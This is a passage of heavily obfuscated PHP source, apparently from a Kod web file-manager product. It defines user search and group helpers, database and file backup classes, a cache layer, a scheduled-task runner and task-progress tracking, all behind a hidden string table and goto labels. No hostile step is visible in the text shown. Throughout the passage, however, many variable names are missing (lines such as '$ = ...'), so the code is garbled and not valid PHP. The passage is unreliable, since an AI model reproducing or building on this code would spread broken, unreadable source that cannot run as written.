$톁[1913], array($톁[1913], $톁[446])); $ = $[$]; $ۃ = $ۃ . "\165\163\145\x72\56{$}\40{$}\54\x20\165\163\x65\x72\x2e\x75\163\145\x72\x49\x44\40\141\163\x63"; return $this->alias($톁[2033])->order($ۃ); } public function listSearch($۪) { $̠ =& $_SERVER[譃]; $ = $۪[$̠[1916]]; $ = isset($۪[$̠[1917]]) ? $۪[$̠[1917]] : !1; $ = str_replace($̠[1918], $̠[1919], trim($)); $ = array($̠[32] => array($̠[382], "\45{$}\x25"), $̠[304] => array($̠[382], "{$}\x25"), $̠[534] => array($̠[382], "{$}\45"), $̠[1000] => $̠[1920]); if (Input::check($, $̠[310])) { $[$̠[1655]] = array($̠[382], "{$}\45"); $[$̠[2273]] = array($̠[382], "{$}\45"); } if (!$) { $ = array(); } if (isset($۪[$̠[748]])) { $[$̠[748]] = $۪[$̠[748]]; } $ = $this->parseWhereLike($); $ك = $this->_makeOrder()->where($)->selectPage(20); if (!$ك || count($ك[$̠[368]]) < 5 && Input::check($, $̠[317])) { $ = $this->_searchFromMeta($̠[459], $, 10); $ƻ = $this->_searchFromMeta($̠[460], $, 10); $ْ = array_merge($, $ƻ, $ك[$̠[368]]); $ك[$̠[368]] = array_unique_by_key($ْ, $̠[1655]); $ك[$̠[365]][$̠[366]] = count($ك[$̠[368]]); $ك[$̠[365]][$̠[367]] = ceil($ك[$̠[365]][$̠[366]] / $ك[$̠[365]][$̠[362]]); } $this->_listDataApply($ك[$̠[368]]); $this->_filterByGroup($ك, $); return $ك; } private function _filterByGroup(&$̎䎫, $) { $ =& $_SERVER[譃]; if (!$) { return $̎䎫; } foreach ($̎䎫[$[368]] as $ => &$ۈ) { $ = array_to_keyvalue($ۈ[$[2003]], $[12], $[1823]); if (!in_array($, $)) { unset($̎䎫[$[368]][$]); } } unset($ۈ); $̎䎫[$[368]] = array_values($̎䎫[$[368]]); $̎䎫[$[365]] = array($[2066] => count($̎䎫[$[368]]), $[2064] => $̎䎫[$[365]][$[362]], $[2063] => 1, $[2065] => 1); } private function _searchFromMeta($̻, $, $) { $ =& $_SERVER[譃]; $ = strtolower($); $̌ӱ = array($[95] => $̻, $[373] => array($[382], "\x25{$}\x25")); $̌ӱ = $this->parseWhereLike($̌ӱ); $ = Model($[2292])->where($̌ӱ)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1655]); $̔ = $this->where(array($[1646] => array($[7], $)))->select(); if (!$̔) { return array(); } return $̔; } private function _listDataApplyItem($ݪ) { $ۥ = array($ݪ); $this->_listDataApply($ۥ); return $ۥ[0]; } private function _listDataApply(&$棼) { $䕎ֱ =& $_SERVER[譃]; if (!$棼) { return; } array_remove_key($棼, $䕎ֱ[889]); $ = array_to_keyvalue($棼, $䕎ֱ[12], $䕎ֱ[1655]); $this->_listAppendGroup($棼, $); $this->_listAppendMeta($棼, $); $this->_listAppendSourceRoot($棼, $); } private function _listAppendSourceRoot(&$, $ӓ) { $ =& $_SERVER[譃]; $ = Model($[823])->listSourceRoot(SourceModel::TYPE_USER, $ӓ); $ = array_to_keyvalue($, $[501]); $ = array_remove_key($, $[501]); foreach ($ as &$) { $[$[87]] = $[$[$[1655]]] ? $[$[$[1655]]] : array(); } unset($); } private function _listAppendGroup(&$, $ȯ) { $ձ卆 =& $_SERVER[譃]; $ = array($ձ卆[1655] => array($ձ卆[7], $ȯ)); $ȓ = Model($ձ卆[1912])->where($)->select(); $ = array_to_keyvalue($ȓ, $ձ卆[12], $ձ卆[1823]); $ = array_remove_value(array_unique($), $ձ卆[194]); if (!$ || !$ȓ) { return; } $ = array($ձ卆[1823] => array($ձ卆[7], $)); $ = Model($ձ卆[2001])->field($ձ卆[2293])->where($)->select(); $ = array_to_keyvalue($, $ձ卆[1823]); $ȓ = array_to_keyvalue_group($ȓ, $ձ卆[1655]); foreach ($ȓ as &$) { $ = array(); foreach ($ as $ϸ) { if (!$ϸ[$ձ卆[1926]]) { continue; } $軨 = Model($ձ卆[503])->listData($ϸ[$ձ卆[1926]]); $[] = array($ձ卆[1823] => $ϸ[$ձ卆[1823]], $ձ卆[2294] => $[$ϸ[$ձ卆[1823]]][$ձ卆[32]], $ձ卆[517] => $[$ϸ[$ձ卆[1823]]][$ձ卆[517]], $ձ卆[410] => $軨); } $ = $; } unset($); foreach ($ as &$ģȉ) { $ģȉ[$ձ卆[2003]] = array(); if (isset($ȓ[$ģȉ[$ձ卆[1655]]])) { $ģȉ[$ձ卆[2003]] = $ȓ[$ģȉ[$ձ卆[1655]]]; } } unset($ģȉ); } public function userAppendGroup($) { $ =& $_SERVER[譃]; if (!$) { return array(); } $this->_listAppendGroup($, array_to_keyvalue($, $[12], $[1655])); return $; } private function _listAppendMeta(&$Ь, $֕) { $圞 =& $_SERVER[譃]; $㋷ = UserJobModel::JOB_KEY; $ޒ = array($圞[2274]); $𠷜 = array($圞[1655] => array($圞[7], $֕)); $ǷЎ = Model($圞[2272])->where($𠷜)->select(); $ǷЎ = array_to_keyvalue_group($ǷЎ, $圞[1655]); foreach ($ǷЎ as &$) { $۶ = array(); foreach ($ as $땫) { if (!in_array($땫[$圞[95]], $ޒ)) { $۶[$땫[$圞[95]]] = $땫[$圞[373]]; } } $ = $۶; } unset($); $ = Model($圞[2295]); foreach ($Ь as &$) { $Ѣ = array(); if (isset($ǷЎ[$[$圞[1655]]])) { $Ѣ = $ǷЎ[$[$圞[1655]]]; } $[$圞[2296]] = array(); if (isset($Ѣ[$㋷])) { $[$圞[2296]] = $->getUserJobInfo($Ѣ[$㋷]); } } unset($); } protected function groupUserAll($) { $âɐ =& $_SERVER[譃]; if (!$) { return !1; } $ = Model($âɐ[1912])->field($âɐ[1655])->where(array($âɐ[1823] => array($âɐ[7], $)))->select(); $ = array_to_keyvalue($, $âɐ[12], $âɐ[1655]); return array_unique($); } public function userSearch($Ϟ, $ᛟ = "\x2a") { return Model($_SERVER[譃][537])->where($Ϟ)->field($ᛟ)->find(); } } goto dڥד; Cܤؚ: class BackupDbFile { public function __construct() { } public function index() { $짶 =& $_SERVER[譃]; $ = Backup::get(); $暓 = $[$짶[32]]; $ = $this->tmpFilesPath() . "\x62\141\143\153\x75\160\137{$暓}\57"; $ = $this->backupPath($); if (!($ = IO::mkdir($))) { return !1; } $ر = IO::listPath($); $ˀ = isset($ر[$짶[76]]) ? $ر[$짶[76]] : array(); $ = array_sum(array_column($ˀ, $짶[80])); if (!$) { return !1; } $獙 = array($짶[796] => $, $짶[797] => time()); Backup::set($獙); $ǎѐ = new TaskFileTransfer($짶[798], $짶[778], count($ˀ), LNG($짶[779]) . $짶[456] . LNG($짶[781]) . $짶[799]); $ǎѐ->task[$짶[761]] = $; foreach ($ر[$짶[76]] as $) { $ = IO::move($[$짶[78]], $); if (!$) { $ǎѐ->end(); $Б = IO::getLastError($짶[800] . $[$짶[78]] . $짶[801] . $ . $짶[532]); write_log($Б, $짶[778]); return !1; } } $ӣ = new DbManage(); $ = $ӣ->getSqlFile(); if (!$[$짶[802]] || !$[$짶[13]]) { return !1; } IO::move($[$짶[802]], $); IO::move($[$짶[13]], $); $ǎѐ->end(); $獙 = array($짶[803] => $, $짶[804] => time()); Backup::set($獙); return !0; } private function backupPath($) { $ =& $_SERVER[譃]; $ = $[$[32]]; $ = Model($[768])->get($[769]); $І = substr(md5($[770] . $ . $), 0, 8); return "\173\x69\x6f\x3a{$[$[750]]}\175\x2f\144\x61\x74\141\142\x61\163\x65\57\142\141\143\x6b\165\160\57" . $ . $[11] . $І; } private function tmpFilesPath() { $ =& $_SERVER[譃]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[90]][$[794]]) { $ = $GLOBALS[$[6]][$[90]][$[794]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[795])) { $ = TEMP_FILES; } } return $; } } class BackupFile { public function __construct() { } public function index() { $䏉 = Backup::get(); $© = $䏉[$_SERVER[譃][292]][$_SERVER[譃][196]][$_SERVER[譃][463]]; $ = array($_SERVER[譃][464] => array($_SERVER[譃][805], $©), $_SERVER[譃][806] => array($_SERVER[譃][330], $䏉[$_SERVER[譃][750]])); $ә = (int) Model($_SERVER[譃][787])->where($)->count($_SERVER[譃][463]); $Ԓ = (int) Model($_SERVER[譃][787])->where($)->sum($_SERVER[譃][80]); $ģٯ = new TaskFileTransfer($_SERVER[譃][807], $_SERVER[譃][778], $ә, LNG($_SERVER[譃][779]) . $_SERVER[譃][780] . LNG($_SERVER[譃][808])); $ģٯ->task[$_SERVER[譃][761]] = $Ԓ; $Ѐ = array($_SERVER[譃][809] => $ә, $_SERVER[譃][810] => $Ԓ, $_SERVER[譃][811] => time()); Backup::set($Ѐ); $ = !0; $ = $this->storeIds(); $Œ = 1; $莾 = 1000; $ス = $ٮ = 0; $Кʸ = array(); $ = $ = 0; do { $ħȃ = $_SERVER[譃][812]; $ = Model($_SERVER[譃][787])->where($)->field($ħȃ)->order($_SERVER[譃][813])->selectPage($莾, $Œ); $ټIJ = !empty($[$_SERVER[譃][368]]) ? $[$_SERVER[譃][368]] : array(); foreach ($ټIJ as $) { if (!$this->_fileExist($, $Кʸ, $)) { $ә -= 1; $Ԓ -= (int) $[$_SERVER[譃][80]]; write_log("\146\151\154\x65\40\156\157\164\40\x65\x78\151\x73\164\56\x66\x69\154\145\111\104\x3a{$[$_SERVER[譃][463]]}\54\x20\160\141\164\150\72{$[$_SERVER[譃][78]]}", $_SERVER[譃][814]); continue; } $ۉ֔ = $[$_SERVER[譃][78]]; $ = "\x7b\151\157\72{$䏉[$_SERVER[譃][750]]}\175" . substr($ۉ֔, strlen("\x7b\151\x6f\72{$[$_SERVER[譃][815]]}\175")); if (IO::exist($)) { $ģٯ->updateFileEnd($[$_SERVER[譃][32]], $[$_SERVER[譃][80]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($ۉ֔, $, $_SERVER[譃][816])) { write_log($_SERVER[譃][817] . $ۉ֔ . $_SERVER[譃][801] . $ . $_SERVER[譃][532], $_SERVER[譃][778]); $ = !1; break; } } $© = $[$_SERVER[譃][463]]; $ٮ += 1; $ス += $[$_SERVER[譃][80]]; $ += 1; $ += $[$_SERVER[譃][80]]; if ($ス >= 1024 * 1024 * 100) { $Ѐ = array($_SERVER[譃][818] => $©, $_SERVER[譃][819] => $, $_SERVER[譃][820] => $); Backup::set($Ѐ); $ス = $ٮ = 0; } } $ = count($ټIJ); $Œ++; } while ($ == $莾); $ģٯ->end(); $Ѐ = array($_SERVER[譃][821] => 1, $_SERVER[譃][492] => time(), $_SERVER[譃][773] => 1, $_SERVER[譃][818] => $©, $_SERVER[譃][810] => $Ԓ, $_SERVER[譃][809] => $ә, $_SERVER[譃][822] => time()); if ($ٮ) { $Ѐ[$_SERVER[譃][819]] = $; $Ѐ[$_SERVER[譃][820]] = $; } Backup::set($Ѐ); $this->_fileFilter($Кʸ); return !0; } private function _fileExist($ʂ, &$Է, $́) { $ߋ =& $_SERVER[譃]; $ = $ʂ[$ߋ[78]]; if (in_array($ʂ[$ߋ[463]], $Է)) { return !1; } if (!in_array($ʂ[$ߋ[815]], $́)) { return !1; } if (IO::exist($)) { return !0; } $ = get_path_father($); if (IO::exist($)) { $Է[] = $ʂ[$ߋ[463]]; return !1; } $« = array($ߋ[815] => $ʂ[$ߋ[815]], $ߋ[78] => array($ߋ[382], "{$}\45")); $ = Model($ߋ[787])->where($«)->field($ߋ[464])->select(); $Է = array_merge($Է, array_to_keyvalue($, $ߋ[12], $ߋ[463])); return !1; } private function _fileFilter($) { $ڭ =& $_SERVER[譃]; if (empty($)) { return; } $ = array($ڭ[463] => array($ڭ[7], array_unique($))); $Ү = Model($ڭ[823])->where($)->field($ڭ[399])->select(); foreach ($Ү as $硾) { Model($ڭ[823])->remove($硾[$ڭ[399]], !1); } } private function storeIds() { $Ĥ =& $_SERVER[譃]; $ϔ = Model($Ĥ[765])->listData(); $ = array(); $Џ = $GLOBALS[$Ĥ[6]][$Ĥ[90]][$Ĥ[824]]; foreach ($ϔ as $) { $ = strtolower($[$Ĥ[96]]); if (!isset($Џ[$])) { continue; } $ = $Ĥ[74] . (isset($Џ[$]) ? $Џ[$] : ucfirst($)); if (!class_exists($)) { continue; } $[] = $[$Ĥ[396]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[譃]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$[6]][$[348]]; $ݬ = $[$[$[825]]]; $ = $[$[826]]; switch ($[$[825]]) { case $[21]: self::$handle = Model($[827]); break; case $[828]: self::$handle = new CacheRedis($ݬ, $); break; case $[829]: self::$handle = new CacheMemcached($ݬ, $); break; case $[196]: self::$handle = new CacheFile($ݬ, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[譃][11] . $); } public static function get($ወ, $췍 = false) { $ޖ = self::key($ወ); if ($췍) { return unserialize(self::init()->get($ޖ)); } if (!isset(self::$memoryCache[$ޖ])) { $ = self::init()->get($ޖ); self::$memoryCache[$ޖ] = unserialize($); } return self::$memoryCache[$ޖ]; } public static function set($ؐ, $ɚ, $ۺ͕ = false) { $ = self::key($ؐ); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $ɚ) { return !0; } if ($ۺ͕ === 0) { self::$memoryCache[$] = $ɚ; return !0; } CacheLock::lock($ؐ); $ = self::init()->set($, serialize($ɚ), $ۺ͕); self::$memoryCache[$] = $ɚ; CacheLock::unlock($ؐ); return $; } public static function getCall($, $, $ԍ, $ٕ = array()) { $à =& $_SERVER[譃]; $ = self::get($); if ($ || $ === $Ã[12]) { return $; } $ = call_user_func_array($ԍ, $ٕ); $ = $ ? $ : $Ã[12]; self::set($, $, $); return $; } public static function remove($˗ƌ) { $ = self::key($˗ƌ); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($˗ƌ); $ = self::init()->remove($); CacheLock::unlock($˗ƌ); return $; } public static function removeMemory($逺) { $ = self::key($逺); unset(self::$memoryCache[$]); } public static function clearMemory($ߢݔ = false) { if ($ߢݔ) { $ߢݔ = self::key($ߢݔ); unset(self::$memoryCache[$ߢݔ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[譃][830])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[譃][831])) { self::init()->clearTimeout(); } } } goto b۪; Bёڏ: class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $υ§ =& $_SERVER[譃]; if (self::valueGet($υ§[748]) != $υ§[89]) { return; } if (self::valueGet($υ§[1615]) == $υ§[89]) { $ = self::valueGet($υ§[1616]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); self::valueSet($υ§[1615], $υ§[89]); self::log($υ§[1617]); Hook::bind($υ§[1618], $υ§[1619]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($υ§[748]) != $υ§[89]) { self::valueSet($υ§[1615], $υ§[194]); self::log($υ§[1620]); die; } $ק = time(); if ($ק - $ >= 60) { self::valueSet(array($υ§[1615] => $υ§[89], $υ§[1616] => $ק), !1); $ = $ק; } if (!file_exists(USER_SYSTEM . $υ§[1621])) { self::valueSet(array($υ§[1615] => $υ§[194], $υ§[748] => $υ§[194]), !1); self::log($υ§[1622]); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $و =& $_SERVER[譃]; http_close(); self::valueSet($و[748], $و[194]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($و[1615] => $و[194], $و[748] => $و[89]), !1); } public static function shutdownEvent() { $ =& $_SERVER[譃]; self::valueSet($[1615], $[194]); self::log($[1623]); } public static function config($Ι, $ȝ) { self::valueSet($_SERVER[譃][748], $Ι); } private static function taskRunAll() { $ =& $_SERVER[譃]; $ = timeFloat(); $ٱ = Model($[1624])->listData(); $Ƌ = count($ٱ); for ($ = 0; $ < $Ƌ; $++) { $ܘ = $ٱ[$]; if (!$ܘ[$[396]] || $ܘ[$[1625]] != $[89]) { continue; } if (!self::taskTimeCheck($ܘ)) { continue; } self::taskRun($ܘ); } Hook::trigger($[1626]); self::taskQueueRun($); } private static function taskQueueRun($֜) { $՝ڥ = 10; while (!0) { $ܿ = TaskQueue::run(); if ($ܿ === !1) { break; } if (timeFloat() - $֜ >= $՝ڥ) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[譃]; $ = json_decode($[$[200]], !0); $ = intval($[$[1616]]); $ = strtotime($[1627] . $[$[1628]] . $[1629]) - strtotime($[1630]); $̣ = time() - strtotime(date($[1631]) . $[1632]); $Ǣ = $̣ >= $ && $̣ <= $ + 3600; switch ($[$[33]]) { case $[1633]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($[$[1633]] == date($[1634]) && $Ǣ) { return !0; } break; case $[1635]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($[1636]) == 0 ? 7 : date($[1636]); if ($[$[1635]] == $ && $Ǣ) { return !0; } break; case $[1628]: if (time() - $ < 3600 * 24) { return !1; } if ($Ǣ) { return !0; } break; case $[1637]: if (time() - $ >= floatval($[$[1637]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ѮΡ =& $_SERVER[譃]; static $ἡ = 0; $Ɵ = 300; if (!$ἡ) { $ἡ = time(); } if (time() - $ἡ < $Ɵ) { return; } $ἡ = time(); $ = Model($ѮΡ[509])->db($ѮΡ[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ѮΡ[1638], $ѮΡ[1639]); die; } } public static function taskRun($) { $ɇŵ =& $_SERVER[譃]; self::log($ɇŵ[1640] . $[$ɇŵ[396]] . $ɇŵ[1641] . $[$ɇŵ[32]] . $ɇŵ[1642] . $[$ɇŵ[1643]]); Model($ɇŵ[1624])->run($[$ɇŵ[396]]); $ݠ֑ = timeFloat(); $ = $ɇŵ[12]; switch ($[$ɇŵ[33]]) { case $ɇŵ[306]: $ = url_request($[$ɇŵ[1643]], $ɇŵ[229], !1, !1, !1, !1, 10); if ($[$ɇŵ[748]]) { $ = strlen($[$ɇŵ[1191]]); } break; case $ɇŵ[228]: $ = Hook::apply($[$ɇŵ[1643]]); default: break; } Model($ɇŵ[1644])->add(array($ɇŵ[1645] => $ɇŵ[12], $ɇŵ[1646] => $ɇŵ[194], $ɇŵ[33] => $ɇŵ[1647] . $[$ɇŵ[396]], $ɇŵ[1648] => json_encode(array($ɇŵ[32] => $[$ɇŵ[32]], $ɇŵ[1649] => timeFloat() - $ݠ֑, $ɇŵ[292] => $)))); $͎ = $ ? $ɇŵ[1650] . $ : $ɇŵ[12]; self::log($ɇŵ[1651] . $[$ɇŵ[396]] . $ɇŵ[532] . $͎); return !0; } private static function valueGet($) { $ =& $_SERVER[譃]; $ = $[1652]; $賯 = Model($[429])->get($, $); if (is_null($賯)) { Model($[429])->set($[748], $[89], $); Model($[429])->set($[1615], $[194], $); $賯 = Model($[429])->get($, $); } return $賯; } private static function valueSet($, $) { $ڝϫ =& $_SERVER[譃]; $ = $ڝϫ[1653]; CacheLock::lock($); $λ = Model($ڝϫ[429])->set($, $, $ڝϫ[1652]); CacheLock::unlock($); return $λ; } protected static function log($ϵѮ) { write_log($ϵѮ, $_SERVER[譃][1639]); } private static function cacheClear() { $ß =& $_SERVER[譃]; Cache::clearMemory(Model($ß[429])->cacheKey($ß[1652])); Cache::clearMemory(Model($ß[429])->cacheKey($ß[1654])); Model($ß[1624])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\x74\157\160"; const STATYS_RUNNING = "\162\165\156\x6e\x69\x6e\x67"; const STATYS_KILL = "\x6b\151\x6c\154"; public $task; public function __destruct() { $this->end(); } public function __construct($, $͔ = '', $ɻ瞮 = 0, $ƒ = '') { $ľ͔ =& $_SERVER[譃]; if (self::get($)) { return; } $this->task = array($ľ͔[396] => $, $ľ͔[1655] => USER_ID, $ľ͔[1555] => $ƒ, $ľ͔[33] => $͔, $ľ͔[1064] => $ľ͔[12], $ľ͔[784] => $ɻ瞮, $ľ͔[1656] => 0, $ľ͔[1657] => 0, $ľ͔[1658] => 0, $ľ͔[1659] => timeFloat(), $ľ͔[1660] => 0, $ľ͔[1661] => 0, $ľ͔[1662] => 0, $ľ͔[1663] => 0, $ľ͔[748] => $ľ͔[1615]); $GLOBALS[$ľ͔[1664]] = 1; Hook::bind($ľ͔[1618], array($this, $ľ͔[1665])); Hook::bind($ľ͔[1666], array($this, $ľ͔[1667])); $this->startAfter(); Hook::trigger($ľ͔[1668], $this->task); $this->task[$ľ͔[1661]] = timeFloat(); } public function end() { $ =& $_SERVER[譃]; if (!$this->task) { return; } if ($this->task[$[1661]]) { self::valueSet($this->task[$[396]], !1); } $ȳ = timeFloat() - $this->task[$[1659]]; self::log($[1669] . $this->task[$[396]] . $[1670] . $ȳ . $[1671]); Hook::unbind($[1618], array($this, $[1665])); Hook::unbind($[1666], array($this, $[1667])); $this->endAfter(); $this->task = !1; } public function update($탵 = 0, $ = false) { $ =& $_SERVER[譃]; $ߩ =& $this->task; if (!$ߩ) { return; } $ߩ[$[1656]] += $탵; $ߩ[$[1660]] = timeFloat(); if ($ߩ[$[784]]) { if ($ߩ[$[784]] < $ߩ[$[1656]]) { $ߩ[$[784]] = $ߩ[$[1656]]; } $ = timeFloat() - $ߩ[$[1659]] - $ߩ[$[1662]]; if ($ <= 0) { $ = 0.001; } $ߩ[$[1657]] = $ߩ[$[1656]] / $ߩ[$[784]]; $ߩ[$[1658]] = $ߩ[$[1656]] / $; if ($ߩ[$[1657]] > 0) { $ߩ[$[1663]] = $ * (1 - $ߩ[$[1657]]) / $ߩ[$[1657]]; } $ߩ[$[1663]] = $ߩ[$[1663]] <= 0 ? 0 : $ߩ[$[1663]]; } $this->updateAfter(); $ժ = 0.2; if (timeFloat() - $ߩ[$[1661]] < $ժ && !$) { return; } $ӀĮ = self::get($ߩ[$[396]]); $ = $ӀĮ[$[748]]; if ($ == self::STATYS_KILL) { $۲ɢ = array($[1672] => LNG($[1673]), $[1189] => !1); Cache::set($[1674] . $this->task[$[396]], $۲ɢ, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $ӀĮ[$[1662]] += $; self::valueSet($ߩ[$[396]], $ӀĮ); sleep($); $this->update(); return; } } $ߩ[$[748]] = $ ? $ : $ߩ[$[748]]; $ߩ[$[1662]] = $ӀĮ[$[1662]] ? $ӀĮ[$[1662]] : 0; $ߩ[$[1661]] = timeFloat(); Hook::trigger($[1675], $ߩ); self::valueSet($ߩ[$[396]], $ߩ); } public function onKillSet($Ͳ, $ټ = array()) { $this->onKillCall = array($Ͳ, $ټ); } public function onKill() { $ɨ =& $_SERVER[譃]; self::log($ɨ[1669] . $this->task[$ɨ[396]] . $ɨ[1676]); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($Ȃ) { $Ў =& $_SERVER[譃]; Cache::set($Ў[1674] . $this->task[$Ў[396]], $Ȃ, 60); return $Ȃ; } public static function get($) { $ =& $_SERVER[譃]; $ü̑؟ = self::valueGet($); if (is_array($ü̑؟) && $ü̑؟[$[1677]]) { $ = ActionApply($ü̑؟[$[1677]], array($ü̑؟)); $ü̑؟ = is_array($) ? $ : $ü̑؟; } return $ü̑؟; } public static function listData() { $Lj = self::valueGet(); return array_sort_by($Lj, $_SERVER[譃][1659], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ӝ =& $_SERVER[譃]; $ = self::listData(); foreach ($ as $պ) { self::kill($պ[$ӝ[396]]); } sleep(2); foreach ($ as $պ) { self::valueSet($պ[$ӝ[396]], !1); } } private static function changeStatus($, $) { $䋈 =& $_SERVER[譃]; $ = self::valueGet($); if (!$) { return !1; } $[$䋈[748]] = $; self::valueSet($, $); self::log($䋈[1678] . $[$䋈[396]] . $䋈[1679] . $); return !0; } public static function valueGet($ = false) { $ =& $_SERVER[譃]; if ($) { $º = Model($[441])->where(array($[95] => $, $[33] => $[1071]))->find(); return $º ? json_decode($º[$[373]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[譃]; $ڸ̨ = array($[33] => $[1071]); if ($) { $ڸ̨[$[1655]] = $; } $쳿ӊ = Model($[441])->where($ڸ̨)->select(); $쳿ӊ = $쳿ӊ ? $쳿ӊ : array(); foreach ($쳿ӊ as $ => $ē) { $쳿ӊ[$] = json_decode($ē[$[373]], !0); } return $쳿ӊ; } public static function valueSet($瀢, $ѥˑ) { $ɚ =& $_SERVER[譃]; if (!$ѥˑ) { return Model($ɚ[441])->where(array($ɚ[95] => $瀢, $ɚ[33] => $ɚ[1071]))->delete(); } $Ʀ = json_encode($ѥˑ); if (!$Ʀ) { ob_start(); var_dump($ѥˑ); $ = ob_get_clean(); self::log($ɚ[1680] . json_encode_force($)); } if (!$瀢 || !$ѥˑ[$ɚ[396]]) { return !1; } $ = array($ɚ[33] => $ɚ[1071], $ɚ[1655] => USER_ID, $ɚ[95] => $瀢, $ɚ[373] => $Ʀ); $ = $ɚ[1681]; CacheLock::lock($); Model($ɚ[441])->add($, array(), !0); CacheLock::unlock($); } public static function log($ˈ) { if (!GLOBAL_DEBUG) { return; } write_log($ˈ, $_SERVER[譃][1682]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[譃]; $Ҫ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1683], array($this, $[1684])); Hook::bind($[1213], array($this, $[1685])); Hook::bind($[1686], array($this, $[1687])); Hook::bind($[597], array($this, $[1688])); Hook::bind($[598], array($this, $[1689])); Hook::bind($[600], array($this, $[1690])); Hook::bind($[601], array($this, $[1690])); Hook::bind($[567], array($this, $[1691])); Hook::bind($[564], array($this, $[1691])); Hook::bind($[569], array($this, $[1691])); Hook::bind($[571], array($this, $[1691])); Hook::bind($[573], array($this, $[1691])); Hook::bind($[1692], array($this, $[1693])); Hook::bind($[590], array($this, $[1694])); $this->sourceModelCopyFlag = !1; Hook::bind($[1695], array($this, $[1696])); Hook::bind($[1697], array($this, $[1698])); Hook::bind($[1699], array($this, $[1700])); $Ҫ[$[1701]] = LNG($[1702]); $Ҫ[$[1703]] = 0; $Ҫ[$[1704]] = 0; $Ҫ[$[1064]] = $[12]; $Ҫ[$[1705]] = $[12]; $Ҫ[$[1706]] = 0; $Ҫ[$[1707]] = 0; $Ҫ[$[1708]] = 0; if (!$Ҫ[$[1555]]) { $Ҫ[$[1555]] = LNG($[1709]); } } protected function endAfter() { $؛ =& $_SERVER[譃]; Hook::unbind($؛[1683], array($this, $؛[1684])); Hook::unbind($؛[1213], array($this, $؛[1685])); Hook::unbind($؛[1686], array($this, $؛[1687])); Hook::unbind($؛[597], array($this, $؛[1688])); Hook::unbind($؛[598], array($this, $؛[1689])); Hook::unbind($؛[600], array($this, $؛[1690])); Hook::unbind($؛[601], array($this, $؛[1690])); Hook::unbind($؛[567], array($this, $؛[1691])); Hook::unbind($؛[564], array($this, $؛[1691])); Hook::unbind($؛[569], array($this, $؛[1691])); Hook::unbind($؛[571], array($this, $؛[1691])); Hook::unbind($؛[573], array($this, $؛[1691])); Hook::unbind($؛[1692], array($this, $؛[1693])); Hook::unbind($؛[590], array($this, $؛[1694])); Hook::unbind($؛[1695], array($this, $؛[1696])); Hook::unbind($؛[1697], array($this, $؛[1698])); Hook::unbind($؛[1699], array($this, $؛[1700])); } public function copyMoveStart($ӵ, $, $, $й) { $ =& $_SERVER[譃]; self::log($[1710] . $ . $[70] . $й); $ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($й, 0, strlen($)) == $) { return; } $ǃ =& $this->task; $ǃ[$[1711]] = KodIO::transferType($ӵ, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[譃]; $ =& $this->task; if (!$[$[761]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1711]] == $[1302]) { return; } self::updateTask($); } private static function updateTask(&$ㄠ) { $ =& $_SERVER[譃]; if ($ㄠ[$[1711]] == $[1197] || $ㄠ[$[1711]] == $[108]) { if ($ㄠ[$[1705]]) { $ㄠ[$[1708]] = $ㄠ[$[1707]] + $ㄠ[$[1704]]; } } else { if ($ㄠ[$[1711]] == $[1303]) { if ($ㄠ[$[1705]] == $[1197]) { $ㄠ[$[1708]] = $ㄠ[$[1707]] + $ㄠ[$[1704]] * 0.5; } else { if ($ㄠ[$[1705]] == $[108]) { $ㄠ[$[1708]] = $ㄠ[$[1707]] + $ㄠ[$[1703]] * 0.5 + $ㄠ[$[1704]] * 0.5; } } } } $ㄠ[$[1657]] = $ㄠ[$[1708]] / $ㄠ[$[761]]; if ($ㄠ[$[1657]] > 0) { $Ȼ = timeFloat() - $ㄠ[$[1659]] - $ㄠ[$[1662]]; $ㄠ[$[1663]] = $Ȼ * (1 - $ㄠ[$[1657]]) / $ㄠ[$[1657]]; } } public function addPath($釠) { $եۢ =& $_SERVER[譃]; if (!$釠) { return; } $ =& $this->task; $Ԃ = IO::infoWithChildren($釠); $ = $[$եۢ[1712]] ? $[$եۢ[1712]][$եۢ[1713]] : 0; 